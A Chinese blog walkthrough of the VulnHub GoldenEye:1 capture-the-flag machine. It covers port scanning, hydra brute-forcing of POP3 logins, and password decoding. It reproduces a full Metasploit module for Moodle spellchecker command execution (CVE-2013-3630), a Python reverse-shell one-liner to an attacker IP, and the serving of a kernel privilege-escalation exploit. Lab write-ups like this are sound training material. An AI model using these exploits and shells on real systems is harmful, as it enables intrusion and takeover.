GOLDENEYE: 1靶机

靶机介绍

下载地址: https://www.vulnhub.com/entry/goldeneye-1,240/
靶机介绍:这个靶机目标是获得根用户并获取秘密的GoldenEye代码- flag.txt。

渗透过程

获取IP以及端口扫描
  1. 获取靶机ip,这里PCS Systemtechnik GmbH就是我们的靶机:192.168.0.106;
arp-scan -l

在这里插入图片描述
2. 扫描端口

nmap -A -T4 -p 1-65535 192.168.0.106

在这里插入图片描述
这里可以看到4个端口25和80,55006,55007。

登录靶机网站
  1. 登录一下http,这里提示转到/sev-home/去登陆。
    在这里插入图片描述
    转到sev-home就是一个登录接口,需要用户名和密码,然而我们什么都没有…
    在这里插入图片描述
  2. 再回到主页,查看源代码,可以看到一个js脚本。
    在这里插入图片描述
  3. 打开这个脚本可以看到:备注部分有留给Boris的信息:

“Boris, 一定要更新你的默认密码。我的线人说军情六处可能计划渗透进去。留意任何可以的网络流量。我把你的密码编码了。顺便说一下,Natalya说她能破解你的代码。”

在这里插入图片描述
8. 用HTML解码器解码得到密码:InvincibleHack3r。
现在去登录sev-home页面。这里提示GNO组织通过POP3协议进行邮件往来,协议用了一个非常高的端口。
在这里插入图片描述
9. 我们查看一下网页的源码,然后这里一直往下翻,可以看到两个用户名。(这个不仔细看还真想不到要往下翻…)
在这里插入图片描述

POP3 密码破解及登录
  1. 接下来的思路应该是我们有了pop3的用户名,我们需要破解的密码。我们使用hydra这个工具进行暴力破解。把用户名写道user.txt文件中,使用kali自带的字典。
hydra -L ./user.txt -P /usr/share/wordlists/fasttrack.txt -s 55007 192.168.0.106  pop3

这里我们破解出了两个用户对应的密码。
在这里插入图片描述在这里插入图片描述
11. 我们用nc命令登录pop3邮箱。

nc 192.168.0.103 55007

在这里插入图片描述
依次看一下Boris和Natalya收到的邮件,看完之后,我们可以看到Natalya这里有一封特殊的邮件。
在这里插入图片描述
12. 这里Natalya的邮件中我们可以看到,这里给了一个网址severnaya-station.com/gnocertdir。把这个网址添加到/etc/hosts里面,然后访问。
在这里插入图片描述
13. 输入账号和密码。然后点点点,收集信息。能看到一个和doak来往的邮件。
在这里插入图片描述
14. 我们看到一个Dr Doak用户,我们同样用hydra去破解一下这个用户的密码。
在这里插入图片描述
15. 然后nc命令登录,这里有一封信,提供了Dr Doak在这个培训网站的用户名和密码。这个网站就指的是severnaya-station.com/gnocertdir,因为Boris和Doak的邮件中有说这个网站会有很多训练课程。
在这里插入图片描述
16. 我们用Doak的账号和密码登录。就,在网站上点点点。在“my private files”目录下能够看到Dr Doak给007的信息。里面写了去这个新的网址有个jpg图片,里面有些信息。
在这里插入图片描述
17. 登录这个网址,图片我们就获得了。
在这里插入图片描述
18. 用exiftool查看图片信息,这里Image Description图片描述这一行只有字母和数字,并且结尾是等号,我们可以识别出它是base64编码的消息。

base64编码的特点:

  • 字符串只可能包含A-Z,a-z,0-9,+,/,=字符
  • 字符串长度是4的倍数
  • = 只会出现在字符串最后,可能没有或者一个等号或者两个等号

在这里插入图片描述
解码,得到这个网站的admin密码。

echo 'eFdpbnRlcjE5OTV4IQ==' | base64 -d

在这里插入图片描述

获取shell
  1. 用admin和密码登录。这是一个用Moodle搭建的一个课程网站。我们去找一下moodle的漏洞。首先在server——Evironment下查看Moodle的版本,是2.23。
    在这里插入图片描述
    然后找这个版本有什么漏洞。这里找到一个漏洞。https://www.exploit-db.com/exploits/29324,虽然提供了exp但是没有尝试成功。于是看着exp手动操作。
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
    'Name'           => 'Moodle Remote Command Execution',
    'Description'    => %q{
    Moodle allows an authenticated user to define spellcheck settings via the web interface.
    The user can update the spellcheck mechanism to point to a system-installed aspell binary.
    By updating the path for the spellchecker to an arbitrary command, an attacker can run
    arbitrary commands in the context of the web application upon spellchecking requests.

    This module also allows an attacker to leverage another privilege escalation vuln.
    Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
    and use this to escalate privileges to that of an admin, allowing the module to pop a shell
    as a previously unprivileged authenticated user.

    This module was tested against Moodle version 2.5.2 and 2.2.3.
    },
    'License'        => MSF_LICENSE,
    'Author'         =>
      [
        'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
      ],
    'References'     =>
      [
        ['CVE', '2013-3630'],
        ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen
        ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
      ],
    'Payload'        =>
    {
      'Compat'     =>
      {
        'PayloadType'  => 'cmd',
        'RequiredCmd'  => 'generic perl ruby bash telnet python',
      }
    },
    'Platform'       => ['unix', 'linux'],
    'Arch'           => ARCH_CMD,
    'Targets'        => [['Automatic',{}]],
    'DisclosureDate' => 'Oct 30 2013',
    'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
      OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
      OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
      OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
    ], self.class)
  end

  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php')
    })

    sess = init.get_cookies

    post = {
      'username' => datastore["USERNAME"],
      'password' => datastore["PASSWORD"]
    }

    print_status("Authenticating as user: " << datastore["USERNAME"])

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/login/index.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    if !login or login.code != 303
      fail_with("Login failed")
    end

    sess = login.get_cookies

    print_status("Getting session key to update spellchecker if no session key was specified")

    sesskey = ''
    if datastore['SESSKEY'] == ''
      tinymce = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
        'cookie' => sess
      })

      tinymce.body.each_line do |line|
        next if line !~ /name="sesskey"/
        sesskey = line[0..line.index('>')]
      end

      if sesskey == ''
        fail_with("Unable to get proper session key")
      end

      sesskey = REXML::Document.new sesskey
      sesskey = sesskey.root.attributes["value"]
    else
      sesskey = datastore['SESSKEY']
    end

    post = {
      'section' => 'editorsettingstinymce',
      'sesskey' => sesskey,
      'return' => '',
      's_editor_tinymce_spellengine' => 'PSpellShell',
      's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
    }

    print_status("Updating spellchecker to use the system aspell")

    post = {
      'section' => 'systempaths',
      'sesskey' => sesskey,
      'return' => '',
      's__gdversion' => '2',
      's__pathtodu' => '/usr/bin/du',
      's__aspellpath' => payload.encoded,
      's__pathtodot' => ''
    }

    aspell = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'

    print_status("Triggering payload")

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
      'data' => spellcheck,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !resp or resp.code != 200
      fail_with("Error triggering payload")
    end

  end
end

首先去修改拼写检查工具为PSpellShell。在Settings—plugings—Text Editors—TinyMCE HTML editor,这里设置拼写检查工具为PSpellShell。

然后找到拼写检查工具路径设置,插入我们的反弹shell代码。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.105",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
新建一个Blog,点击拼写检查。同时在本地监听4444端口。
在这里插入图片描述
一个Shell我们就获得了。
在这里插入图片描述

提权
  1. 查看kernel版本,查找可利用的漏洞。
  2. 这里在exploit-db.com可以找到两个漏洞。第二个漏洞直接提供了一个C语言程序,我们可以下载下来。
    在这里插入图片描述
  3. 编译好C程序,放到靶机中,执行。这里他会说没有gcc。我们把C代码中的gcc改成CC,再编译,再放进去。
    在本机开一个9000端口。
python3 -m  http.server 9000

在靶机上下载程序并执行。
关于这个漏洞的原理,我觉得这个博客的讲解很棒。https://www.cnblogs.com/LittleHann/p/4598120.html
在这里插入图片描述

在这里插入图片描述
登录这个网址,成功!

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值